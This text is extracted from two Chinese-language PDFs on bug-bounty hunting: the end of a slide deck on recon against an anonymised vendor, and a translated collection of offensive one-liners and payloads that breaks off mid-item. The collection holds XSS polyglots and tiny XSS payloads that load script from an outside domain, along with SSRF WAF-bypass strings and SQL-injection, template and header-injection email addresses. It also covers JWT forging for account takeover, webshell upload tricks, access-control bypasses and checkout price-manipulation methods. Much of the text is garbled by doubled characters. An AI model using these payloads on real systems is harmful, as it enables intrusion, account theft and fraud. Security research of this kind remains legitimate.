seat.xxx.com,开局一个登录口: 发挥创造性思维·接口构造 20 接口泄露: 发挥创造性思维·接口构造 21 接口请求方式及参数泄露: 发挥创造性思维·接口构造 22 构造成功: 发挥创造性思维·文件构造 23 www.xxx.com/about/job/cn/xxx.asp,开 局一个几乎静态的页面: 发挥创造性思维·文件构造 24 然后,发现www.xxx.com/about/job/cn/cn.rar, 马上整站源码唾手可得: 发挥创造性思维·目录构造 25 vat.xxx.com,开局404: 发挥创造性思维·目录构造 26 vat.xxx.com/vat/下原来 别有天地: 发挥创造性思维·框架搭配 27 www.example.com,开局直接报错: 发挥创造性思维·框架搭配 28 探测springboot下的actuator服务: 发挥创造性思维·框架搭配 29 探测swagger服务: 关注企业动态 微信公众号、小程序、app、应用程序 企业动态:关注app、应用程序、新系统、新上线功能 31 其他tips gayhub搜索、漏洞回挖、假性社工 gayhub搜索 33 搜索厂商域名往往也有意外的收获 漏洞回挖:关注修复方式、新的功能模块 34 发现修复方式就是过滤了漏洞报 告里的那个payload,换个payload 照样能执行 假性社工:关注内部群、员工和客服 35 打入内部群,往往能获 取一手资料;当然,往 往客服、内部员工也能 提供很多有关于产品的 的信息 假性社工 36 进行社工时要注意分寸 和尺度,有的厂商严格 禁止社工,需要注意不 同厂商的要求 综合案例 从一个文件服务器静态资源泄露引发的血案 源起 38 测试的时候,碰到这么个文件 服务器,域名是ret**.xxx.com 深入 39 发现一个js文件中,有很多似乎很有用的东西 整理下收获的信息: 发现得到了一个可能过 期的token,一个 loginId、一个appKey、 一个**Key、 shopCode格式、内网 信息、测试环境域名及 生产环境域名 再深入 40 另一个js文件中,泄露了一个swagger控制台地址 继续整理下收获的信 息:发现得到了一个新 的域名,一个swagger 控制台地址 再深入 41 可直接访问控制台,但如果其中api不能成功访问的话 也没用,于是之前记录的信息派上用场了: 到此为止了吗 42 之前看了半天的js内容,某个关键字reta**反复出现。 突然想起,该src有个域名是reta**.xxx.com,会不会 有所关系呢? 再深入 43 对reta**.xxx.com进行端口扫描,目录爆破,路径 扫描,只找到一个入口: 转机 44 使用搜索引擎搜索下,发现该站存在一个应用程序 叫xxx示可下载,而且发现了一个新的域名: 再深入 45 打开了下载的xxx示,抓包,发现果然内有天地: 再深入 46 查看目录结构,发现一个目录结构是retaxx-ad,直 接构造出后台管理页面:retaxx-admin,直接目录遍 历获取源码+进入后台: 再深入 47 探测每一级目录,发现站点是springboot框架,探 测actuator服务: 再深入 48 继续探测swagger服务: 发现该路径存在actuator服 务以及swagger服务,继续 探测其他路径下的actuator服 务及swagger服务,最后发 现了其他几个路径下的 swagger服务。 再深入 49 提示我去下载app,意外收获了一堆该src旗下与该 app功能相关的app: 再深入 50 其中一个app所在的域名:apxx.xxx.com,恰好是 前面文件服务器泄露的生产环境域名,通过探测框 架及服务,发现同样存在swagger控制台未授权访问 漏洞 最后一次反问 51 生产域名有这个洞,测试域名会有吗? 发现该站的几个测试 域名:apxx- xx.xxx.com、apxx- xx1.xxx.com、apxx- xx2.xx.com,同样的路 径下存在着相同的漏洞 最后一次思考 52 其中某个域名对应着某个系统,可绕过验证码爆破, 最后成功爆破出存在弱口令的账号,登入系统: 53 搜 索 引 擎 文件服务器 信息泄露 mexxx.xxx.com 域名swagger控 制台未授权访问 关键词关联域名 retxx.xxx.com- 搜寻 关键字 swagger控制 台未授权访问 后台未授权访 问 xxx应用程序 目录构造 框架搭配 App 搜 寻 登入另一个系 统 App资产 搜寻 5严重7高危7中危 Thanks. 特别感谢Lo7up和 Adam师傅提供的 一些思路.
pdf
! ! Taie-Bugbounty-killer是什什么意思? 主要⽬目标是分享⼀一些更更快速的刷SRC赏⾦金金的⾃自动化挖洞洞技巧命令和⼯工具协同。使⽤用⾥里里⾯面的⽅方法,我们能 够快速批量量找到可以被利利⽤用的⼦子域、api令牌和其它敏敏感漏漏洞洞。 摘要 之前许诺给⼤大家的⾃自动化赏⾦金金挖洞洞技巧,现在来了了,我不不知道你们现在的挖洞洞⽅方式是什什么?我现在的挖 洞洞⽅方式是能⽤用⽼老老外的⼀一条命令⾃自动化或者整合⾃自动化我就不不⼿手动挨个去信息收集可以挖掘。希望这个系 列列可以给你们提供⼀一些不不⼀一样的挖洞洞思路路技巧。 1. ⼼心脏滴⾎血漏漏洞洞 By: @imranparray101 Source: link 下⾯面是⼀一个有⽤用的⼀一⾏行行命令来检查主机名列列表中是否存在OpenSSL Heartbleed漏漏洞洞: 请注意, Heartbleed (CVE-2014-0160)会导致服务器器内存内容泄漏漏和敏敏感信息泄漏漏。 2. 使⽤用grep提取urls By: @imranparray101 Source: link grep '-Eo' 参数将只打印匹配的⾏行行。这将使每个URL在⼀一⾏行行中逐⼀一打印出来: cat list.txt | while read line ; do echo "QUIT" | openssl s_client -connect $line:443 2>&1 | grep 'server extension "heartbeat" (id=15)' || echo $line: safe; done cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"* curl http://host.xx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"* 验室制作翻译出品 3. 从APK中提取敏敏感信息 By: @MrR0Y4L3 Source: link 以下是从未打包的APK⽂文件(Android应⽤用程序)中提取有趣(潜在敏敏感)信息的提示:: 通过这⼀一⾏行行程序,我们可以识别url、API密钥、身份验证令牌、凭证、证书锁定代码等等。 请确保⾸首先使⽤用如下apktool解压缩APK⽂文件: 4. 远程解压缩zip⽂文件 By @el_vampinio Source: link 你是否发现⼀一个可以在远程web服务器器上访问的⾮非常⼤大的zip⽂文件,并希望检查其内容,但您不不想等待下 载它?⽤用它没⽑毛病.. grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|passw ord|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|in sert into" APKfolder/ apktool d app_name.apk 验室制作翻译出品 Note that for this to work, the remote web server hosting the zip file has to support the range HTTP header. 5. Top 25 开放重定向的dorks By @lutfumertceylan Source: link 下⾯面是25个最容易易发现开放重定向漏漏洞洞("未验证的重定向和转发"): 当URL参数(payload)在服务器器端没有得到正确的验证,导致⽤用户被重定向到⼀一个任意⽹网站时,⽹网站就 会受到Open Redirect的攻击。 虽然这对⽤用户没有任何重⼤大的威胁,但这个漏漏洞洞让⽹网络钓⻥鱼变得更更加容易易。 6. JWT token 绕过 pip install remotezip # 列列出远程zip⽂文件的内容 remotezip -l "http://site/bigfile.zip" # 从远程zip⽂文件解压出file.txt remotezip "http://site/bigfile.zip" "file.txt" /{payload} ?next={payload} ?url={payload} ?target={payload} ?rurl={payload} ?dest={payload} ?destination={payload} ?redir={payload} ?redirect_uri={payload} ?redirect_url={payload} ?redirect={payload} /redirect/{payload} /cgi-bin/redirect.cgi?{payload} /out/{payload} /out?{payload} ?view={payload} /login?to={payload} ?image_url={payload} ?go={payload} ?return={payload} ?returnTo={payload} ?return_to={payload} ?checkout_url={payload} ?continue={payload} ?return_path={payload} 验室制作翻译出品 6. JWT token 绕过 By @HackerHumble Source: link1, link2, link3 这⾥里里有3个绕过JWT令牌身份验证的技巧。 Tip #1: 1. 捕获 JWT. 2. 修改algorithm为None. 3. 在正⽂文中⽤用任何你想要的内容改变原本的内容,如.: email: [email protected] 4. 使⽤用修改后的令牌发送请求并检查结果。 Tip #2: 1. 捕获 JWT token. 2. 如果算法是RS256,就改成HS256,然后⽤用公钥签名(你可以通过访问jwks Uri来获得,⼤大多数情 况下是⽹网站https证书的公钥)。 3. 使⽤用修改后的令牌发送请求并检查响应。 4. 如果后端没有算法检查,你可以奥⼒力力给交洞洞了了 Tip #3: 检查服务器器端会话终⽌止是否正确 (OTG-SESS-006): 1. 检查应⽤用程序是否使⽤用JWT令牌进⾏行行认证。 2. 如果是,登录到应⽤用程序并捕获令牌。(⼤大多数⽹网络应⽤用都会将令牌存储在浏览器器的本地存储中) 3. 现在注销应⽤用程序。 4. 现在⽤用之前捕获的令牌向权限接⼝口发出请求。 5. 有时,请求会成功,因为Web应⽤用程序只是从浏览器器中删除令牌,⽽而不不会在后端将令牌列列⼊入⿊黑名 单。 7. ⼦子域名发现 By @TobiunddasMoe Source: link 下⾯面是⼀一个快速和基本的侦察程序: 为了了实现这⼀一点,我们必须安装⼀一些额外的⼯工具: #!/bin/bash # $1 => example.domain amass enum --passive -d $1 -o domains_$1 assetfinder --subs-only $1 | tee -a domains_$1 subfinder -d $1 -o domains_subfinder_$1 cat domains_subfinder_$1 | tee -a domains_$1 sort -u domains_$1 -o domains_$1 cat domains_$1 | filter-resolved | tee -a domains_$1.txt 验室制作翻译出品 https://github.com/OWASP/Amass https://github.com/tomnomnom/assetfinder https://github.com/projectdiscovery/subfinder https://github.com/tomnomnom/hacks/tree/master/filter-resolved 8. Curl + parallel one-liner By @akita_zen Source: link 这⾥里里有⼀一个超级有⽤用的信息收集⼀一⾏行行命令,可以快速验证主机名和⼦子域的列列表: 这⼀一⾏行行程序将并⾏行行⽣生成50个curl实例例,并以漂亮的⽅方式显示每个主机的HTTP状态代码和响应⼤大⼩小(以字 节为单位): 请先安装下⾯面的⼯工具: 9. 简易易xss漏漏洞洞检测 By @TobiunddasMoe Source: link 查看这个shell脚本,使⽤用多个开源⼯工具串串联起来识别XSS(跨站脚本)漏漏洞洞。: cat alive-subdomains.txt | parallel -j50 -q curl -w 'Status:%{http_code}\t Size:%{size_download}\t %{url_effective}\n' -o /dev/null -sk apt-get -y install parallel 验室制作翻译出品 这是另⼀一个需要安装多个附加⼯工具的组合: https://github.com/projectdiscovery/subfinder https://github.com/OWASP/Amass https://github.com/tomnomnom/hacks/tree/master/filter-resolved https://github.com/tomnomnom/httprobe https://github.com/tomnomnom/waybackurls https://github.com/tomnomnom/hacks/tree/master/kxss 10. 在Burp Suite过滤垃圾的包 By @sw33tLie Source: link 在使⽤用Burp Suite进⾏行行测试时,您可能希望将这些模式添加到Burp Suite>Proxy>Options>TLS Pass Through settings中: #!/bin/bash # $1 => example.domain subfinder -d $1 -o domains_subfinder_$1 amass enum --passive -d $1 -o domains_$1 cat domains_subfinder_$1 | tee -a domain_$1 cat domains_$1 | filter-resolved | tee -a domains_$1.txt cat domains_$1.txt | ~/go/bin/httprobe -p http:81 -p http:8080 -p https:8443 | waybackurls | kxss | tee xss.txt .*\.google\.com .*\.gstatic\.com .*\.googleapis\.com .*\.pki\.goog .*\.mozilla\..* 验室制作翻译出品 注册 URI CMS 平台 /register Laravel /user/register Drupal /wp-login.php?action=register WordPress /register eZ Publish 现在,所有连接到这些主机的底层连接将直接绕过他们,⽽而不不通过代理理。 在我们的代理理⽇日志中没有更更多的垃圾包! 11.使⽤用 SecurityTrails API发现⼦子域名 By @IfrahIman_ Source: link 请注意,要使其正常⼯工作,我们需要⼀一个SecurityTrails API密钥。我们可以得到⼀一个免费帐户,每⽉月提 供50个API查询。 12. 访问隐藏的注册⻚页 By @thibeault_chenu Source: link 有时候,开发者认为隐藏⼀一个按钮就够了了。试着访问以下注册URI。 我们很有可能注册⼀一个新⽤用户并访问web应⽤用程序的特权区域,或者⾄至少在其中找到⼀一个⽴立⾜足点。 13. Top 5 Google dorks语法 curl -s --request GET --url https://api.securitytrails.com/v1/domain/target.com/subdomains?apikey=API_KEY | jq '.subdomains[]' | sed 's/\"//g' >test.txt 2>/dev/null && sed "s/$/.target.com/" test.txt | sed 's/ //g' && rm test.txt 验室制作翻译出品 13. Top 5 Google dorks语法 By @JacksonHHax Source: link 通过Google dorks在寻找开放⽬目录列列表、⽇日志⽂文件、私钥、电⼦子表格、数据库⽂文件和其他有趣的数据。 ⼩小贴⼠士:当你在这⾥里里的时候,也可以看看⾕谷歌⿊黑客数据库(在exploit-db.com),找到更更多的dorks! 14. 在Drupal上查找隐藏⻚页⾯面 By @adrien_jeanneau Source: link 如果你在Drupal⽹网站上搜索,⽤用Burp Suite Intruder(或任何其他类似的⼯工具)对'/node/$'进⾏行行模糊处 理理,其中'$'是⼀一个数字(从1到500)。⽐比如说:"/node/$"。 https://target.com/node/1 https://target.com/node/2 https://target.com/node/3 … https://target.com/node/499 https://target.com/node/500 我们有可能会发现隐藏的⻚页⾯面(测试、开发),这些⻚页⾯面不不被搜索引擎引⽤用。 15. ⽤用gf查找敏敏感信息 By @dwisiswant0 Source: link 使⽤用@dwiswant0收集的特殊gf-secrets模式查找敏敏感信息泄露露。下⾯面是如何使⽤用它们。 为了了使这个组合⼯工作,我们必须安装以下额外的⼯工具,⾮非常有⽤用,不不仅仅是对赏⾦金金猎⼈人。 https://github.com/lc/gau https://github.com/tomnomnom/fff inurl:example.com intitle:"index of" inurl:example.com intitle:"index of /" "*key.pem" inurl:example.com ext:log inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git # Search for testing point with gau and fff gau target -subs | cut -d"?" -f1 | grep -E "\.js+(?:on|)$" | tee urls.txt sort -u urls.txt | fff -s 200 -o out/ # After we save responses from known URLs, it's time to dig for secrets for i in `gf -list`; do [[ ${i} =~ "_secrets"* ]] && gf ${i}; done 验室制作翻译出品 https://github.com/tomnomnom/gf The patterns: https://github.com/dwisiswant0/gf-secrets 16. ⽤用Shodan查找Spring Boot服务器器 By @sw33tLie Source: link 在Shodan中搜索以下favicon哈希,以查找部署在⽬目标组织中的Spring Boot服务器器。 然后检查是否有暴暴露露的执⾏行行器器。如果/env是可⽤用的,你可能可以实现RCE。如果/heapdump可以访问, 你可能会发现私钥和令牌。 如果你对Spring Boot技术不不熟悉,不不要担⼼心。这⾥里里有⼀一个快速的指导101。Spring Boot是⼀一个基于Java 的开源框架,⽤用于构建基于微服务概念的独⽴立的spring应⽤用。 Spring Boot Actuator是⼀一种使⽤用Web界⾯面与它们交互的机制。它们通常被映射到URL,如: https://target.com/env https://target.com/heapdump etc. 这是⼀一个示列列的/env actuator: org:你的⽬目标 http.favicon.hash:116323821 验室制作翻译出品 专业提示:检查所有这些默认的内置执⾏行行器器。其中⼀一些可能会被暴暴露露并包含有趣的信息。 17. 备份数据库扫描字典 By @TobiunddasMoe Source: link /back.sql /backup.sql /accounts.sql /backups.sql /clients.sql /customers.sql /data.sql /database.sql /database.sqlite /users.sql 验室制作翻译出品 旧的数据库备份可能包含各种有趣的信息—⽤用户凭据、配置设置、机密和api密钥、客户数据等等。 18. 电⼦子邮件地址payloads By @securinti (compiled by @intigriti) Source: link 下⾯面的payloads都是有效的电⼦子邮件地址,我们可以⽤用来对基于⽹网络的电⼦子邮件系统进⾏行行测试。 XSS (Cross-Site Scripting): 模板注⼊入: SQL 注⼊入: SSRF (Server-Side Request Forgery): 参数污染: (Email) 头注⼊入: /db.sql /db.sqlite /db_backup.sql /dbase.sql /dbdump.sql setup.sql sqldump.sql /dump.sql /mysql.sql /sql.sql /temp.sql test+(<script>alert(0)</script>)@example.com test@example(<script>alert(0)</script>).com "<script>alert(0)</script>"@example.com "<%= 7 * 7 %>"@example.com test+(${{7*7}})@example.com "' OR 1=1 -- '"@example.com "mail'); DROP TABLE users;--"@example.com [email protected] john.doe@[127.0.0.1] victim&[email protected] 验室制作翻译出品 This is pure gold! 19. 从员⼯工offers到身份证 By @silentbronco Source: link 注册成为⼀一名员⼯工会要求员⼯工提供私⼈人优惠,并最终获得⼀一张“身份证” Here’s what @silentbronco did exactly: 1. 搜索⽬目标'的员⼯工在⾕谷歌上的offers。 2. 找到向⽬目标提供offers的⽹网站。 3. 发现offers只限于员⼯工。 4. 试着在 "员⼯工ID"栏中⽤用随机数注册。 5. 因未验证 "员⼯工证",成功注册为员⼯工。 6. 注册为员⼯工后,导致私⾃自报价索赔。 7. ⽹网站还提供了了 "身份证",可以⽤用来证明我们是**⽬目标的合法员⼯工。 下⼀一次当你在为进⼊入⼀一个组织⽽而苦恼的时候,可以尝试寻找他们的员⼯工offers,⽐比如[@沉默的布朗科]( https://twitter.com/silentbronco)。 20. 与Shodan⼀一起寻找RocketMQ控制台 By @debangshu_kundu Source: link 这⾥里里⼜又是⼀一个⼩小shodandorks,这次要调出RocketMQ控制台,它经常有相当机密的⽣生产信息披露露。 例例如,从暴暴露露的RocketMQ控制台中,我们可以发现。 额外的主机名和⼦子域 内部IP地址 ⽇日志⽂文件位置 版本详情 等。 下⾯面是⼀一个暴暴露露的RocketMQ的例例⼦子。 "%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com "[email protected]>\r\nRCPT TO:<victim+"@test.com inurl: "⽬目标名称" offers org:target.com http.title:rocketmq-console 验室制作翻译出品 21. HTTP接受头修改 By @jae_hak99 Source: link 这⾥里里有⼀一个⼩小窍⻔门,可以通过改变Accept头来发现⼀一些Web服务器器的信息泄露露漏漏洞洞。 ⼀一些有漏漏洞洞的Web服务器器可能会泄露露服务器器版本信息、堆栈和路路由信息。 22. HTTP主机头:localhost By @hacker_ (compiled by @intigriti) Source: link 想通过改变⼀一个header来发现关键的bug吗?就像@hacker_⼀一样,在你的下⼀一个⽬目录中把'Host'头设置 为'localhost',结果可能会让你⼤大吃⼀一惊。你可能会获得访问权限。 特殊功能 内部端点 配置⽂文件、SSL密钥 ⽬目录列列表,... 我们甚⾄至可以更更进⼀一步,尝试通过执⾏行行虚拟主机枚举来识别所有托管在⽬目标Web服务器器上的⽹网站。如何 枚举虚拟主机?我们可以使⽤用这样的⼯工具。 https://github.com/ffuf/ffuf https://nmap.org/nsedoc/scripts/http-vhosts.html https://github.com/jobertabma/virtual-host-discovery Accept: application/json, text/javascript, */*; q=0.01 验室制作翻译出品 请注意,我们也可以使⽤用curl或wget: 23. XSS的Javascript polyglot By @s0md3v (tweeted by @lutfumertcey) Source: link 如何制作XSS的Javascript polyglot?请看这个超级有⽤用的信息图表,它是由 @s0md3v: 这是⼀一个ASCII码版本。 注意,根据我们的情况,我们可能只需要某⼀一部分。不不要盲⽬目复制粘贴。 24. 通过favicon哈希查找相关域 curl -v -H "Host: localhost" https://target/ wget -d --header="Host: localhost" https://target/ -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``> --> Breaks comment context ' Breaks Attribute Context " Breaks attribute context /> Closes an open tag </sCript> Breaks JS context <deTailS A less known tag open To eliminate user interaction required for execution x Dummy attribute ">" Mimics the closing of tag ontoggle A less known event handler () Parentheses around the function co\u006efirm "confirm" function with Unicoded 'n' `` Backticks instead of () 验室制作翻译出品 24. 通过favicon哈希查找相关域 By @m4ll0k2 Source: link 你知道吗,我们可以通过寻找相同的favicon图标哈希值来找到与⽬目标相关的域名和⼦子域名?这正是 @m4ll0k2所做的favihash.py⼯工具的作⽤用。下⾯面是它的使⽤用⽅方法。 简单地说,favihash将允许我们发现与我们的⽬目标域名具有相同的favicon图标哈希。从这⾥里里抓取这个⼯工 具。 https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py 25. 账户接管通过 JWT token forging By @_mkahmad Source: link 以下是@_mkahmad是如何通过伪造JWT令牌来接管⼀一个账户的。 Decompiled APK and found API endpoint: 解压APK并发现API端点 /signup/users/generateJwtToken Sent to repeater (Burp Suite) 在请求中添加了了Auth-Token头。 在标题中使⽤用了了我的账户的认证码。 移除签名部分 -> 成功了了! 在Burp Suite中使⽤用JOSEPH改变了了token中的⽤用户ID。 在响应中得到了了其他⽤用户的JWT标记。 帐户接管! 请注意,所有其他端点都在正确检查JWT令牌。 26. Top 25 远程代码执⾏行行(RCE)参数 By @trbughunters Source: link cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s 验室制作翻译出品 只要你看到这些参数,就要注意了了。你有可能会以某种⽅方式在其中注⼊入代码。 27. SSRF payloads 去绕过 WAF By @manas_hunter Source: link 以下是5种有效payloads,当涉及到SSRF(服务器器端请求伪造)时,可⽤用于绕过WAF 1) 使⽤用CIDR绕过SSRF: 2) 使⽤用罕⻅见地址绕过: 3) 使⽤用技巧组合绕过: ?cmd={payload} ?exec={payload} ?command={payload} ?execute{payload} ?ping={payload} ?query={payload} ?jump={payload} ?code={payload} ?reg={payload} ?do={payload} ?func={payload} ?arg={payload} ?option={payload} ?load={payload} ?process={payload} ?step={payload} ?read={payload} ?function={payload} ?req={payload} ?feature={payload} ?exe={payload} ?module={payload} ?payload={payload} ?run={payload} ?print={payload} http://127.127.127.127 http://127.0.0.0 http://127.1 http://0 验室制作翻译出品 4) 绕过弱解析器器: 5) 使⽤用 localhost with [::]绕过: 1. 什什么是SSRF漏漏洞洞,我们可以⽤用它们来做什什么。⼀一般来说,SSRF允许我们 访问在远程服务器器上运⾏行行的环回接⼝口上的服务。 扫描内部⽹网络,并与发现的服务进⾏行行潜在的交互。 使⽤用file://协议处理理程序读取服务器器上的本地⽂文件。 横向移动/转⼊入内部环境。 如何找到SSRF?当⽬目标⽹网络应⽤用程序允许我们访问外部资源时,例例如从外部URL加载的配置⽂文件图 像(在第三⽅方⽹网站上运⾏行行),我们可以尝试加载易易受攻击的⽹网络应⽤用程序所访问的内部资源。例例 如,我们可以 1. 我们发现下⾯面的URL可以使⽤用。 https://example.com:8000/page?user=&link=https://127.0.0.1:8000 2. 然后我们可以运⾏行行Intruder攻击(Burp Suite),尝试不不同的端⼝口,有效地对主机进⾏行行端⼝口扫 描。 3. 我们也可以尝试扫描192.168.x.x等私有IP,发现内部⽹网络中的活IP。 28. 使⽤用RapidDNS发现⼦子域名 By @Verry__D Source: link 在您的.bash_profile中添加这个⼩小函数,以使⽤用RapidDNSAPI快速查找⼦子域名。 我们就可以这样使⽤用。 http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ urllib : 3.3.3.3 http://127.1.1.1:80\@127.2.2.2:80/ http://[::]:80/ http://0000::1:80/ rapiddns(){ curl -s "https://rapiddns.io/subdomain/$1?full=1" \ | grep -oP '_blank">\K[^<]*' \ | grep -v http \ | sort -u } rapiddns target.com 验室制作翻译出品 很好,也很快。 29. Top 10 你能在什什么情况下,你上传能挖到不不同的洞洞 By @SalahHasoneh1 Source: link 以下是上传的⼗十⼤大列列表,你可以通过上传来实现这些类型漏漏洞洞。 1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE 2. SVG: 存储 XSS / SSRF / XXE 3. GIF: 存储 XSS / SSRF 4. CSV: CSV 注⼊入 5. XML: XXE 6. AVI: LFI / SSRF 7. HTML / JS : HTML 注⼊入 / XSS / 开放重定向 8. PNG / JPEG: 像素洪⽔水攻击 (DoS) 9. ZIP: RCE via LFI / DoS 10. PDF / PPTX: SSRF / 盲打 XXE 30. Tiny 最⼩小XSS有效payloads By @terjanq Source: link 这是@terjanq制作的最⼩小XSS有效payloads的集合。 <!-- If number of iframes on the page is constant --> <iframe/onload=src=top[0].name+/\NJ.₨?/> 验室制作翻译出品 需要注意的是,其中⼀一些XSS有效payloads包含'NJ.₨'unicode字符串串。这是⼀一个⽬目前由@terjanq拥有的 域名(nj.rs),其web服务器器提供的PoC代码会在XSS条件下触发警报。 这使得XSS有效payloads⾮非常⼩小。 更更多XSS有效payloads和DEMO⻚页⾯面,请查看他指定的Github仓库。 https://github.com/terjanq/Tiny-XSS-Payloads 31. Top 25 本地⽂文件包含 (LFI) 参数 By @trbughunters Source: link 以下是易易受本地⽂文件包含(LFI)漏漏洞洞攻击的top 25个参数的列列表: <!-- If number of iframes on the page is random --> <iframe/onload=src=contentWindow.name+/\NJ.₨?/> <!-- If unsafe-inline is disabled in CSP and external scripts allowed --> <iframe/srcdoc="<script/src=//NJ.₨></script>"> <!-- Just a casual script --> <script/src=//NJ.₨></script> <!-- If you control the name of the window --> <iframe/onload=src=top.name> <!-- If you control the name, will work on Firefox in any context, will fail in chromium in DOM --> <svg/onload=eval(name)> <!-- If you control the URL --> <svg/onload=eval(`'`+URL)> 验室制作翻译出品 只要你看到这些参数,就要注意了了。有可能你会发现LFI的漏漏洞洞。 32. GIT和SVN⽂文件的fuzz列列表 By @TobiunddasMoe Source: link 这⾥里里有⼀一个快速的⼩小技巧,使⽤用这个⼩小⽽而快的fuzz列列表来查找git和svn⽂文件。 ?cat={payload} ?dir={payload} ?action={payload} ?board={payload} ?date={payload} ?detail={payload} ?file={payload} ?download={payload} ?path={payload} ?folder={payload} ?prefix={payload} ?include={payload} ?page={payload} ?inc={payload} ?locate={payload} ?show={payload} ?doc={payload} ?site={payload} ?type={payload} ?view={payload} ?content={payload} ?document={payload} ?layout={payload} ?mod={payload} ?conf={payload} /.git /.git-rewrite /.git/HEAD /.git/config /.git/index /.git/logs/ /.git_release /.gitattributes /.gitconfig /.gitignore /.gitk /.gitkeep /.gitmodules 验室制作翻译出品 我们可能会在其中找到⼀一些有趣的信息。 33. 镜像⽹网站⽬目录结构 By @2RS3C Source: link 发现类似的⽬目录列列表? 使⽤用下⾯面的'wget'命令循环获取所有⽂文件(+结构)到你的机器器。 现在你可以查看⽂文件中的结构,搜索和grep。 ⼩小贴⼠士:如何查找⽬目标的⽬目录列列表?⽬目录列列表是Web服务器器的错误配置,我们可以⽤用这些来识别。 Google dorks Shodan search engine https://github.com/ffuf/ffuf https://github.com/maurosoria/dirsearch 34. 使⽤用 AlienVault OTX 查找敏敏感信息 By @mariusshoratau Source: link /.gitreview /.svn /.svn/entries /.svnignore wget -r --no-pare target.com/dir。 验室制作翻译出品 你听说过AlienVault Open Threat Exchange (OTX)吗?你可以⽤用它来轻松获得赏⾦金金。下⾯面就来介绍 ⼀一下吧。 1. 前往 https://otx.alienvault.com/indicator/domain/。 2. ⽤用你的⽬目标替换。 3. 向下滚动到 "关联的URLs "部分。 4. 使⽤用AlientVault OTX,您可能会发现披露露其他⽤用户的敏敏感信息(如收据)、认证令牌、 IDOR、有趣的参数/⽂文件以及许多其他有⽤用的URL。 需要注意的是,还有API可以在 https://otx.alienvault.com/api/v1/indicators/domain//url_list?limit=100&page=1。 所以,我们可以这样做。 要想只得到URL的列列表,我们可以这样做。 35. 价格操纵⽅方法 By @lutfumertceylan, @y_sodha, @SalahHasoneh1 Source: link1, link2, link3 1. 这⾥里里不不是1个,⽽而是3个关于如何在⽹网络应⽤用中⽤用价格进⾏行行操作的技巧。 ⽅方法1: 如果产品价格参数不不能改变,就改变产品的数量量。 curl -s "https://otx.alienvault.com/api/v1/indicators/domain/<TARGET>/url_list? limit=100&page=1" | jq curl -s "https://otx.alienvault.com/api/v1/indicators/domain/<TARGET>/url_list? limit=100&page=1" | jq -r '.url_list[].url' 验室制作翻译出品 items[1][数量量]=1 -> 234欧元 items[1][数量量]=0.1 -> 23.4欧元 恭喜你,你以10%的价格买到了了订单! ⽅方法⼆二 1. 在篮⼦子⾥里里添加2个产品--我们考虑单个产品是40元。 2. 如果以这种⽅方式处理理请求。 {"物品":{"笔记本":1, "⼿手机":1}}。 3. 将JSON体改为 {"物品":{"笔记本":4, "⼿手机":-2}}。 4. 费⽤用将变成20元,2项。 4 * $40 – 2 * $70 = $160 – $140 = $20 ⽅方法三: 1. 选择任何要购买的项⽬目 2. 选择PayPal作为⽀支付⽅方式,拦截所有请求。 3. 直到你从PayPal得到⼀一个名为 "amount "的参数。 4. ⽤用价格进⾏行行操作,将其改为0.01元。 5. ⽀支付,等待确认 36. 使⽤用gau和httpx查找javascript⽂文件 By @pdnuclei Source: link 这⾥里里有⼀一个侦察技巧,使⽤用 gau 和 httpx实⽤用程序找到我们⽬目标上托管的javascript⽂文件。 这个组合要做的是,它将从AlienVault的Open Threat Exchange(OTX)、Wayback Machine和Common Crawl中收集我们⽬目标的所有已知URL,使⽤用httpx获取它们,然后只显示javascript⽂文件。 echo target.com | gau | grep '\.js$' | httpx -status-code -mc 200 -content-type | grep 'application/javascript' 验室制作翻译出品 为了了使这个组合⼯工作,我们必须安装以下⼯工具: https://github.com/projectdiscovery/httpx https://github.com/lc/gau 37. 从javascript⽂文件中提取API端点 By @renniepak Source: link 这⾥里里有⼀一个从javascript⽂文件中提取API端点的快速单⾏行行命令。 ⾮非常效率 38. ⽂文件上传错误的⽅方便便扩展列列表 By @pwntheweb Source: link cat file.js | grep -aoP "(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?= (\"|\'|\`))" | sort -u 验室制作翻译出品 当我们试图寻找⽂文件上传功能中的漏漏洞洞时,以下⽂文件扩展名列列表可能会很有⽤用。 ASP: .aspx .config .ashx .asmx .aspq .axd .cshtm .cshtml .rem .soap .vbhtm .vbhtml .asa .asp .cer .shtml PHP: .php .php5 .php3 .php2 .shtml .html .php.png (double extension attack) 我们通常想要实现的是规避限制可以上传到⽹网站的内容类型的控制,并尝试上传⼀一些有趣的内容,⽐比 如。 ASP / PHP file with a webshell – RCE HTML file with Javascript code – XSS EICAR file – test possibility of hosting malware 提示:不不要忘了了也要经常尝试NULL字节注⼊入的技巧,例例如。 file.jpg%00shell.php shell.php%00file.jpg shell.php%00.jpg 39. 通过篡改URI访问管理理⾯面板。 By @SalahHasoneh1 Source: link 这⾥里里有⼀一个超级简单的技巧,通过以下⽅方式篡改URI来访问管理理⾯面板。 验室制作翻译出品 https://target.com/admin/ –> HTTP 302 (重定向到登录⻚页⾯面) https://target.com/admin..;/ –> HTTP 200 OK 也可以试试下⾯面的⼩小技巧。 https://target.com/../admin https://target.com/whatever/..;/admin 40. 通过篡改URI禁⽌止绕过403。 By @remonsec Source: link 这个⼩小技巧与前⼀一个⾮非常相似。通过篡改URI,我们或许可以绕过应⽤用程序的访问控制。 site.com/secret –> HTTP 403 Forbidden site.com/secret/ –> HTTP 200 OK site.com/secret/. –> HTTP 200 OK site.com//secret// –> HTTP 200 OK site.com/./secret/.. –> HTTP 200 OK 虽然难得⼀一⻅见,但也不不失为⼀一种尝试。 41. 在SVN仓库中寻找数据库的秘密。 By @faizalabroni Source: link 以下是 @faizalabroni 是如何在SVN仓库中发现数据库秘密并收集bug赏⾦金金的。 1. Run 